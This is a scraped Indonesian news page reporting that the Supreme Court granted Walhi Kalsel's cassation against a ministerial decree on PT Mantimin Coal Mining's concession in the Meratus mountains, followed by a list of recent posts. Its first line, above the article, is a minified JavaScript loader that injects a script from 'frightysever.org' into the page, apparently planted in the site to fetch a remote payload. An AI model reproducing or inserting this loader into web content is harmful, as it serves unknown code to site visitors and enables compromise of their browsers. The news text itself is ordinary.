(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Mahkamah Agung Kabulkan Gugatan Walhi Kalsel Terkait Meratus


BANJARMASIN, Sempat ditolak oleh majelis hakim Pengadilan Tinggi Tata Usaha Negara (PTTUN) Jakarta, upaya banding Walhi Walhi Kalsel dalam mencabut SK Menteri ESDM Nomor 441.K/30/DJB/2017 tentang Penyesuaian Tahap Kegiatan PKP2B PT Mantimin Coal Mining (MCM), akhirnya membuahkan hasil. Mahkamah Agung (MA) akhirnya mengabulkan kasasi yang dilayangkan wahana lingkungan hidup tersebut. Lalu, apakah berjuangan #savemeratus otomatis sudah aman?

Dalam keterangan yang disampaikan Direktur Eksekutif Walhi Kalsel Kisworo Dwi Cahyono mengatakan, perjuangan menggugat SK Menteri ESDM memakan waktu yang tak pendek. Hal tersebut dilakukan sejak awal 2017 silam.

“Sekarang kami masih menunggu salinan putusan kasasi MA. Tentunya kita memerlukan salinan tersebut untuk membelajari hasil putusan,” kata Cak Kis, sapaan Kisworo Dwi Cahyono.

Ia mengatakan, dalam amar putusan hanya mencantumkan kabul kasasi, batal, judex facti, adili sendiri, kabul gugatan dan batal objek sengketa. Hal tersebut tentunya harus ditelaah lebih lanjut oleh Walhi. Meski demikian, Cak Kis mengatakan berita yang sampai kepadanya sebagai kado manis di HUT Walhi ke-39. “Ya, ini memang sebuah kado manis,” ungkapnya.

Menurut Cak Kis, MA mengabulkan gugatan kasasi pada 15 Oktober 2019 dengan no register 369-K/TUN-LH/2019. Kasasi tersebut diajukan Walhi, setelah kalah pada gugatan pertama di PTUN Jakarta dan banding ke Pengadilan Tinggi TUN Jakarta. Dan akhirnya pada 14 April 2019, Walhi mengajukan kasasi ke MA.

Meski saat ini MA telah mengabulkan kasasinya, menurut Cak Kis bukan berarti Meratus aman dari masuknya tambang. Ia menegaskan perjuangan menyelamatkan lingkungan masih panjang. “Sehingga seluruh elemen masyarakat harus terus berjuang untuk menjaga Meratus,” tegasnya.

Data Walhi Kalsel, area PKP2B sebesar 56 persen berada di bentang alam karst. Sementara, karst berfungsi untuk penyalur dan penampungan air pegunungan yang bakal mengalir ke masyarakat sekitar. Selain itu, sungai dan Bendungan Batang Alai di Kabupaten Hulu Sungai Tengah (HST) juga dikhawatirkan terdampak karena langsung bersinggungan dengan area PKP2B PT MCM.

Kawasan ini menjadi vital karena sumber aliran air untuk pertanian, air minum, dan perikanan. “Di tahun politik, kami juga mendesak para kandidat dan elit politik khususnya di Kalimantan Selatan untuk terlibat dan serius dalam gerakan penyelamatan lingkungan,” katanya. (Fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

5 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

5 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

5 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

6 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

8 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

8 jam ago

This website uses cookies.